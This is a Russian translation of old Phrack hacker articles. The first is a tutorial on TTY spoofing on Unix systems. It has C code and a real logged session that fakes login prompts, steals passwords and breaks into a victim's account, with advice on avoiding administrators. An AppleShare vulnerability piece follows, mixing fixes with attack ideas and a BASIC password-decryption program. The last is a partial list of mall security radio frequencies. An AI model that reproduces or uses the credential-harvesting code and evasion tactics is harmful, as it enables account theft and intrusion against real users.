— уничтожьте процесс командой kill. При запуске echo оболочка выдала вам идентификатор процесса — просто введите kill processid. Если строка DONE всё же появилась, значит сообщение успешно отображено на экране пользователя. Он введёт своё имя пользователя. ЗАПИШИТЕ ЕГО. Если вы сомневаетесь, является ли слово на вашем экране именем пользователя, введите grep word /etc/passwd — если строка появилась, имя действительно. Если grep ничего не вернул, всё равно сохраните значение, поскольку это может быть пароль. Подождите около 2 секунд и введите echo -n " password:" >/dev/tty01&, снова используя & во избежание блокировки. Если команда не вернулась примерно за 10 секунд — уничтожьте процесс: можно считать, что пользователь ушёл (например, перебрался на другой терминал). Если строка DONE всё же появилась — примерно через 2 секунды ДОЛЖЕН появиться его пароль. Запишите его, и у вас есть новая учётная запись.

Это может казаться трудоёмким и хлопотным процессом, но если у вас настроены макросы с командой cat </dev/tty и заранее подготовленными командами echo -n, всё пройдёт легко. Окей — скажете вы себе: «Я ленивый тип и просто хочу, чтобы пароли подносили мне на блюде». Приложив немного усилий, вы сможете этого добиться!

Ниже приведено несколько строк исходного кода на C, позволяющих автоматизировать этот процесс. Любой, кто знает C, сможет собрать что-нибудь рабочее в кратчайшие сроки.

```
#include <stdio.h>
```

```

FILE *fp, *fp2;
char username[10], password[10];

main()
{
    fp=fopen("/dev/tty1", "r");
    fp2=fopen("/dev/tty1", "w");

    fprintf(fp2, "login:");
    fscanf(fp, "%s", &username);

    /* Put delay commands in here */

    fprintf(fp2, "%s password:", username);
    fscanf(fp, "%s", &password);

    printf("Your new account info is %s, with password %s.", username,
           password);
}

```

Это **ОЧЕНЬ** базовый пример. При желании можно сравнительно легко сделать так, чтобы программа принимала аргументы командной строки — например, диапазон ТТУ — и направляла вывод в файл.

## Пример реального сеанса ручного ТТУ-спуфинга

Ниже приведён настоящий сеанс ручного ТТУ-спуфинга. Имена пользователей и пароли **ИЗМЕНЕНЫ**, поскольку на момент прочтения они, вероятно, будут активны. Некоторые CR/LF убраны для экономии места. Обратите внимание: время от начала работы до получения нового аккаунта составило всего семь минут. Данная техника не ограничивает добываемые пароли словарными вариантами, как Crack и подобные программы.

```

source mycats                                ; Этот файл содержит cat
                                              ; для терминалов tty03 - tty10

[1] 29377
/dev/tty03: Permission denied                ; Всё это означает лишь то, что кто-то
                                              ; вошёл и выставил msg в NO. Игнорируем.

[1] Exit 1                                   cat < /dev/tty03
[2] 29378
[3] 29379
/dev/tty06: Permission denied
/dev/tty05: Permission denied
[4] Exit 1                                   cat < /dev/tty06
[3] Exit 1                                   cat < /dev/tty05
/dev/tty07: Permission denied
[3] Exit 1                                   cat < /dev/tty07
/dev/tty08: Permission denied
[3] Exit 1                                   cat < /dev/tty08
[2] + Stopped (tty input)   cat < /dev/tty04      ;Это терминал, за которым я
                                              ;нахожусь — он автоматически
                                              ;прерывается...

[3] 29383
<5:34pm><~> /dev/tty09: Permission denied
[3] Exit 1                                   cat < /dev/tty09
<5:34pm><~> source mycats2                    ;Этот содержит 34 - 43

[3] 29393
[4] 29394
[5] 29395
[6] 29396
[7] 29397
[8] 29398
[9] 29399
/dev/tty36: Permission denied
/dev/tty37: Permission denied

```

```
/dev/tty38: Permission denied
/dev/tty39: Permission denied
/dev/tty40: Permission denied
/dev/tty34: Permission denied
/dev/tty35: Permission denied
```

```
[9] Exit 1 cat < /dev/ttyq40
[8] Exit 1 cat < /dev/tty39
[7] Exit 1 cat < /dev/tty38
[6] Exit 1 cat < /dev/tty37
[5] Exit 1 cat < /dev/tty36
[4] Exit 1 cat < /dev/tty35
[3] Exit 1 cat < /dev/tty34
```

```
[1] 29400
[3] 29401
[4] 29402
```

```
<5:34pm><~> /dev/tty41: Permission denied
```

```
[1] Exit 1 cat < /dev/tty41
/dev/tty43: Permission denied
[4] Exit 1 cat < /dev/tty43
/dev/tty42: Permission denied
[3] Exit 1 cat < /dev/tty42
```

```
<5:34pm><~> source mycats3 ;Содержит p1-pa
```

```
[3] 29404
[4] 29405
[5] 29406
[6] 29407
[7] 29408
/dev/ttypl: Permission denied
/dev/tty3: Permission denied
/dev/tty5: Permission denied
/dev/tty6: Permission denied
```

```
[8] Exit 1 cat < /dev/tty6
[7] Exit 1 cat < /dev/tty5
[5] Exit 1 cat < /dev/tty3
[3] Exit 1 cat < /dev/ttypl
[7] 29410
[8] 29411
[9] 29412
[1] 29413
```

```
<5:34pm><~> /dev/tty7: Permission denied
```

```
[7] Exit 1 cat < /dev/tty7
/dev/ttya: Permission denied
[1] Exit 1 cat < /dev/ttya
```

```
<5:34pm><~> source mycats4 ;Последний: q0-qa
```

```
[1] 29426
[3] 29427
[5] 29428
[7] 29429
[10] 29430
[11] 29431
/dev/ttyq5: Permission denied
```

```
[10] Exit 1 cat < /dev/ttyq5
[12] 29432
[10] 29433
[13] 29434
[14] 29435
```

```
<5:34pm><~> who
```

```
<5:34pm><~> nnnnnnnnrlogin unx ; Он решил, что неправильно напечатал.
```

```

pigsnoort                                ; Важно! Записывайте ВСЕ сообщения,
; не посланные системой!

<5:35pm><~>
grep pigsnoort /etc/passwd                ; Проверяем через grep, является ли
; это учётной записью.

<5:35pm><~>                                ; Ничего не вернул — значит, это
; пароль!

nnnpptst8                                ; Очень похоже на имя учётной записи!
nnnnn=====                              ; Записываем!

ls

[8] Done                                  cat < /dev/ttyp8 ; Придурок нажал Ctrl-D.
; 'Перекачиваем' терминал!

<5:36pm><~> cat < /d e v/ ttyp8&           ; Это и есть 'перекат'.

[8] 29459
<5:36pm><~> cat: read error: I/O error      ; Придурок теперь давит все
; управляющие символы подряд,
; вгоняя UNIX в ступор.

[4] Exit 1                                cat < /dev/ttyp2

<5:36pm><~> cat </dev/ttyp2&                ; 'Перекачиваем' и его!

[4] 29465
<5:36pm><~>

<5:36pm><~>

[6] Done                                  cat < /dev/ttyp4 ; Кто-то нажал символ,
; значит терминал активен.

<5:36pm><~> cat </dev/ttyp4&                ; 'Перекачиваем' Ctrl-D.

[6] 29468
<5:36pm><~> echo -n "login:" >/dev/ttyble1   ; Пробуем вывести фальшивый
cat: read error: I/O error                  ; login на активный терминал.

[6] Exit 1                                cat < /dev/ttyp4
поор4d                                     ; Ещё один пароль в копилку.
p4                                         ; Подходящий аккаунт не нашли.
&

[6] 29470
<5:37pm><~> cat: read error: I/O error

[4] Exit 1                                cat < /dev/ttyp2

<5:37pm><~> cat </dev/ttyp2&

[4] 29489
<5:37pm><~> echo -n "login:" >/dev/ttyp2&    ; Снова пробуем вывести
; фальшивое приглашение.

[15] 29490
<5:37pm><~> kill 29490                      ; Приглашение не вернулось
; за несколько секунд — убиваем.

[15] Terminated                          echo -n login: > /dev/ttyp2
<5:37pm><~> cat </dev/tty
echo -n "login:" >/dev/ttyp4&

[15] 29491
<5:38pm><~> kill 29491

<5:38pm><~> grep pptst8 /etc/passwd          ; Убеждаемся, что это аккаунт!
pptst8:X:58479:4129:People Eater:/ucuc.edu/usr/pptst8:/bin/bash

```

```

<5:38pm><~> grep ble1 /etc/passwd ; Это не аккаунт...

<5:39pm><~> grep poop4d /etc/passwd ; И это тоже — наверное, пароль...

<5:39pm><~> who ; Смотрим, не завис ли кто-то из
; пойманных пользователей на
; 'некатнутом' терминале...

<5:39pm><~> ps -x ; Смотрим все свои процессы.
; Чертовски рад, что cat'ы
; не светятся в списке!
  PID TT STAT TIME COMMAND
29266 04 S 0:04 -tcsh (tcsh)
29378 04 T 0:00 cat
29412 04 I 0:00 -tcsh (tcsh)
29426 04 I 0:00 -tcsh (tcsh)
29427 04 I 0:00 -tcsh (tcsh)
29428 04 I 0:00 -tcsh (tcsh)
29429 04 I 0:00 -tcsh (tcsh)
29431 04 I 0:00 -tcsh (tcsh)
29432 04 I 0:00 -tcsh (tcsh)
29433 04 I 0:00 -tcsh (tcsh)
29434 04 I 0:00 -tcsh (tcsh)
29435 04 I 0:00 -tcsh (tcsh)
29459 04 I 0:00 -tcsh (tcsh)
29470 04 D 0:00 <exiting>
29489 04 I 0:00 -tcsh (tcsh)
29491 04 D 0:00 -tcsh (tcsh)
29547 04 R 0:00 ps -x
<5:40pm><~> kill 29378 29412 29426 29427 29428 29429 29431 29432 29433 29434 29
435 29459 29470 29489 289491 ;Убиваем все процессы.

29470: No such process

[4] Terminated cat < /dev/tty2
[8] Terminated cat < /dev/tty8
[14] Terminated cat < /dev/tty4a
[13] Terminated cat < /dev/ttyq9
[10] Terminated cat < /dev/ttyq8
[12] Terminated cat < /dev/ttyq7
[11] Terminated cat < /dev/ttyq6
[7] Terminated cat < /dev/ttyq4
[5] Terminated cat < /dev/ttyq3
[3] Terminated cat < /dev/ttyq2
[1] Terminated cat < /dev/ttyq1
[9] Terminated cat < /dev/tty9
[2] Terminated cat < /dev/tty04

<5:41pm><~>

[15] Terminated echo -n login: > /dev/tty4
[6] Done echo -n login: > /dev/tty4

<5:41pm><~> ps -x
  PID TT STAT TIME COMMAND
29266 04 S 0:04 -tcsh (tcsh)
29594 04 R 0:00 ps -x
<5:41pm><~> logout

Local -011- Session 1 disconnected from UNIX1

Local> c unx ; Обратите внимание — другая
; система, но пароли общие.

Local -010- Session 1 to UNX on node MYUNX established

Welcome to ucuc.edu.

login: ble1 ; Пробуем все аккаунты
ble1 password: [I tried poop4d] ; со всеми паролями.
Login failed.
login: pptst8

```

```

pptst8 password: [I tried poop4d here too.]
Login failed.
login: pptst8
pptst8 password: [I typed pigsnort]
Authenticated via AFS Kerberos. ; ЕСТЬ! Мы внутри!
Checking system rights for <pptst8>... login permitted.
login 1.0(2), Authen
Last login: Fri Jul 17 17:33:30 on tty11

(1) unix $ ls ; Посмотрим, что у него есть...
; хм... IRC-пользователь, значит?
Mail Mailbox News bin irc other junk private
public
(2) unix $ logout

Local -011- Session 1 disconnected from UNX

```

## Несколько слов напоследок

Следите за ТТУ в самое оживлённое время суток — обычно около 11 утра в университетской системе. Убивайте все свои процессы перед отключением. Запущенные вами процессы остаются в системе и могут быть обнаружены системными администраторами. Кроме того, они занимают те ТТУ, за которыми вы следите, что также может привлечь внимание. Главное: вы НЕ хотите привлекать внимание к своим действиям.

Не проверяйте полученные аккаунты немедленно. Если жертва случайно выполнит `who` и увидит двойника, у неё случится шок. Подождите до позднего времени или используйте другую подсистему, которая не отобразится в его `who`.

Не захватывайте аккаунты. Всё, что нужно сделать реальному пользователю — это позвонить в отдел и сообщить о смене пароля. За две секунды пароль будет восстановлен, а системный администратор начнёт присматриваться — и вы окажетесь на шаг ПОЗАДИ начальной точки. Получив чужие учётные данные, прекратите работу `cat`, который «съедает» терминал, чтобы пользователь мог войти нормально. Если он продолжает не получать НИЧЕГО, он может обратиться за «профессиональной» помощью, и ТАМ могут понять, что происходит. Так что дайте этому болвану войти.

НЕ УНИЧТОЖАЙТЕ НИЧЕГО в системе — ни в его аккаунте, ни где-либо ещё, даже получив более высокие привилегии. Скорее всего, пользователь НЕ узнает, что кто-то заполучил его пароль, и НЕ БУДЕТ иметь причин его менять. Дождитесь конца семестра или учебного года и следите за датами файлов. Если примерно через месяц даты не меняются — смените пароль и делайте с аккаунтом что хотите: он, вероятно, закончил с ним.

И последнее. Получив действующую учётную запись, выполните `grep` по имени пользователя и узнайте НАСТОЯЩЕЕ имя. Затем выполните `grep` по НАСТОЯЩЕМУ имени и найдите все аккаунты, которыми этот человек владеет в системе. Велика вероятность, что он использует один и тот же пароль для нескольких аккаунтов!

---

Благодарности: Pointman, участникам #hack и всему нынешнему/прошлому составу редакции Phrack за выпуск отличного журнала на протяжении многих лет.

Если нужно со мной связаться — ищите меня в IRC в #hack и в мире VMB. Предпочитаю НЕ получать письма по e-mail, но если у вас есть мой адрес и важный вопрос — пишите. Я готов помочь любому начинающему, кому это нужно.

Happy Hacking!

VaxBuster '92

# Уязвимости безопасности сетей AppleShare

---

**Автор:** Bobby Zero

**Дата:** 28 ноября 1992 г.

---

Цель этого файла — проинформировать всех недооплачиваемых сетевых администраторов Mac и прочих заинтересованных лиц о проблемах с Macintosh AppleShare и о том, как их устранить. AppleShare весьма неплох как по реализации, так и по практике использования — он органично вписывается в Mac OS, так что рядовой пользователь и не подозревает о сложности, скрытой за этим изяществом. Однако при всей своей элегантности он обладает серьёзными недостатками в плане безопасности — почти все из них устранимы, и для этого достаточно сочетания здравого смысла и RTFM: Read The Fucking Manual (Прочитай, блин, руководство).

Это ни в коей мере не следует рассматривать как инструкцию «Как взломать» для лиц с сомнительной этикой и/или мотивами. При этом, однако, я считаю уместным следующее:

***ПРОКУРОР:** [Свидетелю] ...И вы?*

***СВИДЕТЕЛЬ:** Мисс Америка.*

*[Поёт]*

***ПРОКУРОР:** Не могли бы вы рассказать суду, почему считаете Филдинга Меллиша предателем своей страны?*

***СВИДЕТЕЛЬ:** Я считаю Филдинга Меллиша предателем своей страны, потому что его взгляды отличаются от взглядов Президента и других ему подобных. Различие во взглядах следует терпеть, но не тогда, когда они слишком различны. Тогда он становится подрывным элементом.*

*— Вуди Аллен, «Бананы»*

Этот файл разделён на 5 разделов: (1) файл «AppleShare Prep», (2) приложение «AShare File Srv», (3) Связка VAX и AppleShare, (4) Общий доступ к файлам в System 7, и (5) Уязвимости NCSA Telnet. Пятый раздел напрямую с AppleShare не связан, однако его безопасность может быть скомпрометирована посредством метода №4, поэтому я решил его включить.

Если интерес окажется достаточным, я сделаю «Часть II» [или третью, четвёртую, пятую...] с описанием других проблем. Присылайте отзывы в Phrack Loopback; будучи постоянным читателем, я отвечу соответствующим образом. При написании этого материала я не был уверен в подходе — либо скучно-технический, либо в стиле «gh0d, ну и тупые же эти люди». Я решил просто совместить оба, в стиле хаоса. Ну ладно, хватит болтать. Перейдём к делу!

---

**(1)** Файл «AppleShare Prep» как в System 6, так и в System 7 содержит ресурс BMLS; этот ресурс содержит различные сведения, необходимые для монтирования тома при запуске. Хотя эта функция необязательна, многие её используют — либо случайно, либо из удобства.

- Обратная сторона этого удобства состоит в том, что имя пользователя и пароль к серверу хранятся в этом файле. Любой, у кого есть копия ResEdit, может открыть этот файл и просмотреть ресурс BMLS.

- Создать троянского коня и внедрить его в программу или стек HyperCard, чтобы скопировать ресурс BMLS из файла AppleShare Prep жертвы и записать его в скрытый файл на серверном диске, откуда его можно будет позднее извлечь, — проще простого. Хорошо написанный троян



будет практически необнаружим, так как скопировать ресурс — дело одного мгновения. Троянские кони не так сексуальны, как вирусы, и не получают особой огласки, но заставить пользователя Mac [или любого другого пользователя, если уж на то пошло] запустить то, чего он не должен, невероятно легко.

**КАК РЕШИТЬ:** Расскажите пользователям об этой уязвимости и настоятельно порекомендуйте им входить на файловый сервер вручную. Если компьютеры используются в открытой лабораторной среде, настройте их на автоматический вход в качестве гостя, полностью обойдя тем самым всю проблему с паролями. Шифрование ресурса BMLS целиком зависит от Apple или от человека, достаточно разбирающегося в AppleShare, чтобы написать патч — уж точно не от меня [пока...].

---

## Сервер «ASHARE FILE SRV»

(2) На файловых серверах AppleShare версии 2.0:

- Файл «Users & Groups» внутри папки Server/System Folder содержит данные, необходимые для управления правами доступа к папкам и их владельцами. Он также содержит имена пользователей и пароли в незашифрованном виде. Хотя получить этот файл было бы несколько затруднительно [для этого необходим физический доступ к серверу: выключить его, перезапустить с дискеты, скопировать файл, перезагрузить машину], «вознаграждение» было бы весьма значительным — ведь в руках окажется копия каждого имени пользователя и пароля, включая пароль Администратора. Получив физический доступ, можно было бы написать программу для установки на сервере, которая периодически делала бы копию файла и помещала её на «серверную» сторону диска под безобидным именем... INIT, который выполнялся бы при каждом запуске, или Time Task, запускающийся ежедневно, или даже модификацию программы AppleShare Admin, обновляющей этот файл каждый раз при добавлении или изменении пользователя. Также общеизвестно, что пользователи используют одинаковые пароли на разных машинах; располагая списком имён и паролей для одной машины, можно войти и на другой компьютер с той же комбинацией логин/пароль.

- Автоматической блокировки пользователей, вводящих неверный пароль, не существует. Имея некоторые знания и копию «Inside AppleTalk», можно написать программу, которая использовала бы словарь распространённых паролей в сочетании со списком имён пользователей для ручного «взлома» допустимой комбинации логин/пароль. Скорость этого процесса сильно зависит от быстродействия сервера и его загрузки, быстродействия и загрузки сети, а также быстродействия «атакующего» компьютера. Типичный «взлом» может занять от 0,5 до 5 секунд, но нет необходимости занимать атакующий компьютер на это время: программа может использовать асинхронные вызовы AFPCOMMAND и работать под MultiFinder, обеспечивая полноценный «взлом в фоне». Следует, однако, отметить, что Apple включила блокировку в непомерно дорогой AppleShare 3.0 — однако его аппаратные требования, похоже, выводят его за рамки бюджета большинства здравомыслящих людей.

- Группа людей, вооружённых вышеупомянутой программой, могла бы прийти в компьютерный класс, запустить эту программу, затем открыть текстовый редактор и делать вид, что занимается домашней работой, тогда как на самом деле взламывала бы пароли.

- «Copy Protect File» в AppleShare Admin запрещает копирование «защищённой» программы через Finder. Это, однако, не останавливает «обычную» программу копирования — например, DiskTop — от копирования файла. [Это примерно так же нелепо, как старый добрый «Bozo Bit».]

**КАК РЕШИТЬ:** Убедитесь, что физический доступ к файловому серверу невозможен ни для кого, кроме доверенных лиц. Обновитесь до AppleShare 3.0 [\$\$, тьфу \$\$], который позволяет

«блокировать» учётные записи после определённого числа неверных попыток, либо установите программу журналирования для отслеживания неверных попыток и их источников, а затем разыщите нарушителей. Предотвратить нарушение «защиты от копирования» невозможно — она останавливает только тех, кого легко обескуражить. Всё, что могу посоветовать: держите коммерческие программы подальше от гостей и прочих «ненадёжных» лиц.

---

## **VAXShare, PCLink И ДРУГИЕ СЕРВЕРНЫЕ ПРИЛОЖЕНИЯ VAX/APPLESHARE**

**(3)** Существуют различные варианты AppleShare, которые можно запустить на VAX; многие версии этих программ имеют серьёзные уязвимости, которые также можно использовать.

- Главный пример — наличие «стандартных» учётных записей: хотя гостевые входы могут быть запрещены, вход под именем DEFAULT с паролем USER, как известно, бывает эффективным способом «войти» — даже FIELD, SERVICE работало. Не правда ли, жалко, что эти ребята до сих пор не замечали подобного?
- Наличие учётной записи VAXShare [или аналогичной], используемой для доступа через AppleShare, нередко позволяет получить доступ к самой VAX. Например, если известно, что VAX используется в открытой лаборатории в качестве файлового сервера AppleShare, можно использовать метод №1, чтобы извлечь комбинацию логин/пароль из файла Prep и воспользоваться этим паролем для входа на VAX.

**КАК РЕШИТЬ:** Запретите интерактивные входы на стороне VAX для таких учётных записей и отключите или смените пароли на всех «стандартных» учётных записях. Если ваша версия VAX/AppleShare требует интерактивного входа, настройте запуск специальной программы при каждом входе пользователя, фиксирующей дату, время и источник входа перед отключением.

---

**(4)** С появлением System 7.0 и функции «File Sharing» многие пользователи просто подключают свои машины к сети, не принимая надлежащих мер для запрета несанкционированного доступа. Некоторые включают Sharing при выбранном диске, невольно позволяя другим читать, записывать, копировать, удалять или изменять информацию на диске. Как ни странно, по умолчанию папка «Trash» заблокирована, тогда как System Folder, по умолчанию, полностью открыта. Серьёзный просчёт со стороны Apple... Полагаю, это было сделано для предотвращения воспринимаемой угрозы «цифрового мусорного ныряния» ...? Даже я не могу этого понять.

- Зачастую «System Folder» остаётся незащищённой, а это означает, что различные системные ресурсы можно скопировать или изменить. Можно стянуть файлы AppleTalk Remote Access, любые программы Timbuk2 или Timbuk2/Remote и использовать их для дальнейшего проникновения.
- Файл «Users & Groups» можно скопировать, а затем изменить «дома» пользователем, работающим на System 7.0 [или на атакующей машине, если она также работает на 7.0] — добавив, например, ещё одну учётную запись «владельца» в качестве «чёрного хода» на случай, если гостевые привилегии будут заблокированы более предусмотрительным лицом.
- Можно поставить под угрозу целостность важных файлов; в файл System атакующим компьютером могут быть добавлены или удалены ресурсы — одним из таких ресурсов может оказаться вирус, троянский конь или совершенно идиотский шрифт [вроде New York — фу!].
- Диск, как правило, заполнен коммерческим программным обеспечением; при желании легко сделать пиратские копии этих программ.

- На диске могут находиться личные или иные «приватные» файлы — файлы, которые можно прочитать, скопировать, удалить или даже изменить. Был случай, когда в файле на общем ресурсе обнаружили имена пользователей и пароли к UNIX-машине в университетской сети... невероятная глупость. К счастью, компетентные лица были извещены и файлы перемещены в [предположительно] более безопасное место.

- Атакующий мог бы из злого умысла выбрать удаление всего, что видит.

**КАК РЕШИТЬ:** Возьмите большую деревянную доску и хорошенько приложите её по всем провинившимся пользователям. Расскажите им о правильном способе использования общего доступа к файлам и сообщите, что *любой* может зайти и прочитать их резюме, любовные письма, финансовую информацию, эротическую поэзию и т.д. — это обычно привлекает их внимание. Скажите им: вместо того чтобы открывать весь жёсткий диск, создать папку и назвать её «Shares» или как-то аналогично остроумно; затем выбрать папку и перейти в «Sharing...». Для повышения безопасности запретите вход (Guest). Чтобы лучше отслеживать, кто использует Mac, держите открытым «File Sharing Monitor» или установите программу вроде NokNok, которая уведомляет вас, когда кто-то пользуется вашим Mac.

---

## NCSA TELNET

(5) Приложение NCSA Telnet позволяет пользователю применять свой Mac в качестве telnet-клиента и путешествовать по Интернету. NCSA Telnet также обрабатывает входящие FTP-запросы. Хотя функцию FTP легко отключить, многие пользователи её оставляют — либо потому что регулярно используют, либо потому что вообще не знают о её существовании.

- Любой, располагающий действующим именем пользователя и паролем, может войти на Mac через FTP, затем перейти в «корневой» каталог и выполнять обычные FTP-операции: как получать, так и отправлять файлы. Это означает, что *каждый* файл на Mac доступен *из любой точки* Интернета. Следует отметить, что NCSA Telnet не фиксирует информацию «кто и откуда», а значит, нет журнала того, кто пользовался машиной, и нет никакой возможности «поймать» злоумышленника.

- Файл «ftppass» содержит список пользователей, которым разрешено использовать FTP на данном Mac. Если с помощью одного из упомянутых выше методов кому-то удастся получить доступ к нему, он легко взламывается, поскольку схема шифрования в нём весьма незатейливая: раздел данных содержит имя пользователя, двоеточие, а затем зашифрованный пароль. Пароль легко расшифровать; если он не занимает все 10 символов, последние несколько символов идут по порядку. То есть следующий ASCII-код равен предыдущему плюс 1 и т.д. Вот пример из моего файла «ftppass»:

```
sample:ucetcr&'()
```

Первая часть, «sample», — имя пользователя. Двоеточие — стандартный UNIX-разделитель, остальное — пароль. «Настоящая» часть пароля — символы «ucetcr»... оставшиеся «&'()» — просто пробелы... как определить? Они идут в ASCII-порядке. Найдите «&» в таблице ASCII — за ним последует «'», затем «(», затем «)» ... понимаете идею.

Этот пароль можно вскрыть короткой программой, применяющей XOR к зашифрованным символам с числом от 0 до 255. Программа может либо а) выдать все результаты XOR, либо б) если пароль не максимальной длины, просто искать «пробел» [ASCII 032 десятичное] в пароле и выводить его. Следующая программа «взлома» написана на BASIC [эй, кто-нибудь ещё им пользуется?] и позволяет расшифровывать пароли. Если видно, что в конце пароля пробелы, строку 110 можно

удалить. В противном случае оставьте её и включите мозг [помните ваш мозг?], чтобы определить, является ли зашифрованная белиберда «настоящим» словом или просто мусором.

```
5 REM "ftppass" brute-force hacker
10 INPUT "Encrypted password:";I$
20 FOR X=1 TO 255
30 FOR Y=1 TO LEN(I$)
40 Y$=MID$(I$,Y,1)
50 YA=ASC(Y$)
60 N=X XOR YA
70 IF N=32 THEN F=1
80 N$=N$+CHR$(N)
90 NEXT Y
100 IF F THEN ?"Possible password:"N$
110 ?I$ " 'encrypts' to "N$: REM U can delete this line if len<10
120 N$="":F=0
130 NEXT X
140 ?"Finished."
```

Пример запуска: [со строкой 110, удалённой]

```
Encrypted password:ucetcr&'()      [нужно вводить всё целиком]
Possible password:secret !./        [ну и сложно же было!]
Possible password:rdbdsdu! /.
Possible password:}km|kz./ !        [и т.д. -- нажмите ^C здесь]
```

Итак, пароль — «secret» [остроумно, не правда ли?]

Следует отметить, что эта программа довольно незелегантна, поскольку я не разбирал алгоритм по-настоящему, а просто написал «взломщик» методом грубой силы. Это объясняется моей ленью. Если бы я действительно захотел сделать всё правильно, я бы скачал с анонимного сайта NCSA более 700 Кб исходного кода и разобрал его как следует. Делать это мне не хочется. Я ленив. Для меня эта программа работает прекрасно... [Подозреваю, что программа шифрования использует имя пользователя для шифрования пароля, но мне всё равно недостаточно интересно это выяснять.]

Должен сказать, что не хочу обижать создателей NCSA Telnet и называть приложение мусором. Это действительно впечатляющая программа; я просто считаю, что в некоторых аспектах ей не помешало бы улучшение... если не в плане безопасности, то хотя бы возможность сохранять настройки на диск!

Кстати, мне известно, что NCSA Telnet доступен и для IBM. Я не проверял эти вещи на IBM, но если это «настоящий» порт, данные уязвимости должны присутствовать и в IBM-версии.

---

Ну вот и всё. Если вы сетевой администратор и *всё ещё* сидите на своей тощей заднице после прочтения этого, немедленно вставайте и устраняйте проблемы. Не удивляйтесь, обнаружив, что кто-то анонимно шастает по вашей сети, тащит файлы и вообще вносит свой вклад в нравственный упадок... Я видел такое раньше — зрелище не из приятных.

И конечно, если вы управляете сетью любого рода, вы должны настоятельно рекомендовать пользователям использовать разные пароли на разных машинах, причём такие, которых нет в словаре [gh0ds, как же надоело это повторять!]... это принесёт огромную пользу безопасности. Каждый хакер знает: число людей, использующих ОДИН пароль для всех своих учётных записей, невероятно велико... и они весьма активно пользуются этим упущением.

# Частоты охраны торговых центров

Автор: Caligula XXI

---

ЭТОТ МАТЕРИАЛ ПОСВЯЩАЕТСЯ ВСТРЕЧЕ DC 2600

---

Живя в Америке, легко и ошибочно предположить, что Билль о правах действительно существует. 6 ноября 1992 года право мирно собираться было приостановлено. Несмотря на то что Верховный суд США постановил, что торговые центры являются «общественными местами встреч», а не частной собственностью, для копов это не имеет ни малейшего значения. Так что вот немного информации, которая, возможно, поможет вам следить за ними, пока они так заняты слежкой за нами.

Если ваш торговый центр не указан ниже, попробуйте сканировать следующие диапазоны (МГц):

|                     |                     |
|---------------------|---------------------|
| 151.625 — 151.955   | 154.515 — 154.60    |
| 457.5125 — 457.6125 | 460.65 — 462.1875   |
| 462.75 — 462.775    | 463.20 — 464.9875   |
| 465.65 — 467.1875   | 467.75 — 467.925    |
| 468.20 — 469.975    | 851.0125 — 865.9875 |

После списка торговых центров приведён список общенациональных сетевых магазинов с их охранными частотами.

| / ST  | City            | Mall                   | Freq. MHz \ |
|-------|-----------------|------------------------|-------------|
| ===== |                 |                        |             |
| AK    | Anchorage       | Northway Mall          | 461.775     |
| AL    | Birmingham      | Century Plaza          | 464.875     |
| AL    | Mobile          | Belair Mall            | 464.875     |
| AL    | Montgomery      | Montgomery Mall        | 466.0625    |
| AZ    | Phoenix         | Metrocenter            | 464.475     |
| AZ    | Phoenix         | Paradise Valley Mall   | 464.375     |
| AZ    | Tucson          | Foothills Mall         | 464.575     |
| CA    | Bakersfield     | Valley Plaza Shop Cent | 154.57      |
| CA    | Canoga Park     | Topanga Plaza          | 154.54      |
| CA    | Los Angeles     | Century City Center    | 461.025     |
| CA    | Oxnard          | Center Points Mall     | 464.475     |
| CA    | San Francisco   | Embarcadero Center     | 854.8375    |
| CO    | Boulder         | Crossroads Mall        | 468.7875    |
| CO    | Denver          | Laksie Mall            | 464.375     |
| CT    | Hartford        | Northeast Plaza        | 464.375     |
|       |                 |                        | 464.675     |
|       |                 |                        | 464.80      |
|       |                 |                        | 464.95      |
| CT    | Danbury         | Fair Mall              | 464.675     |
| DC    | Washington      | Montgomery Mall        | 463.25      |
| DC    | Washington      | Renaissance Plaza      | 463.375     |
| FL    | Jacksonville    | Gateway Mall           | 461.025     |
| FL    | Miami           | South Date Plaza       | 461.675     |
| FL    | Ft. Charlotte   | South Port Square      | 154.54      |
| FL    | Tallahassee     | Tallahassee Mall       | 461.20      |
|       |                 |                        | 463.60      |
| FL    | Tampa           | W. Shore Plaza         | 461.9125    |
| GA    | Atlanta         | Piedmont Center        | 464.525     |
|       |                 |                        | 464.5875    |
| GA    | Atlanta         | Peachtree Center       | 461.825     |
| HI    | Pearl City      | Century Park Plaza     | 464.225     |
| IA    | Des Moines      | Merel Hay Mall         | 154.54      |
|       |                 |                        | 154.57      |
| IA    | West Burlington | Southridge Mall        | 464.675     |
| IL    | Springfield     | The Center             | 464.925     |

|    |                 |                        |          |
|----|-----------------|------------------------|----------|
| IL | Chicago         | Ford City Center       | 464.775  |
|    |                 |                        | 464.975  |
| IL | Aurora          | Fox Valley Center      | 464.675  |
| IN | Ft. Wayne       | Glenbrook Square       | 464.575  |
|    |                 |                        | 464.875  |
| IN | Indianapolis    | Lafayette Square       | 461.025  |
| KS | Manhattan       | Manhattan Tower Center | 463.525  |
| KS | Kansas City     | Bannister Mall         | 464.575  |
|    |                 |                        | 464.675  |
| KY | Lexington       | Fayette Mall           | 462.1125 |
| KY | Louisville      | Oxmoor Center          | 464.8125 |
| LA | New Orleans     | World Trade Center     | 463.25   |
| LA | Shreveport      | Mall St. Vincent       | 464.675  |
| MA | North Attleboro | Emerald Square Mall    | 461.725  |
| MA | Boston          | World Trade Center     | 461.9125 |
|    |                 |                        | 461.9375 |
|    |                 |                        | 461.9625 |
|    |                 |                        | 462.1625 |
|    |                 |                        | 464.80   |
| MA | Boston          | Copley Plaza           | 154.60   |
| MA | Watertown       | Arsenal Mall           | 464.95   |
| MD | Baltimore       | Eastpoint Mall         | 151.805  |
| MD | Greenbelt       | Beltway Plaza Mall     | 151.925  |
| MI | Ann Arbor       | Briarwood Mall         | 462.05   |
|    |                 |                        | 462.575  |
| MI | Detroit         | Renaissance Center     | 151.955  |
|    |                 |                        | 462.60   |
|    |                 |                        | 462.7625 |
| MI | Grand Rapids    | Woodland Center        | 464.475  |
|    |                 |                        | 464.5375 |
| MN | Rochester       | Center Place           | 464.475  |
|    |                 |                        | 464.5375 |
| MO | Kansas City     | Banister Mall          | 464.575  |
|    |                 |                        | 464.675  |
| MO | St. Louis       | Galleria               | 461.9125 |
|    |                 |                        | 462.0875 |
|    |                 |                        | 462.8625 |
| MS | Tupelo          | Mall @ Barnes Cross    | 464.60   |
| MT | Billings        | West Park Plaza        | 464.775  |
| NC | Raleigh         | North Hills Mall       | 464.575  |
| NC | Wilmington      | Independence Mall      | 464.7875 |
| ND | Great Forks     | Columbia Mall          | 463.60   |
| NE | Freendale       | Southridge Mall        | 464.525  |
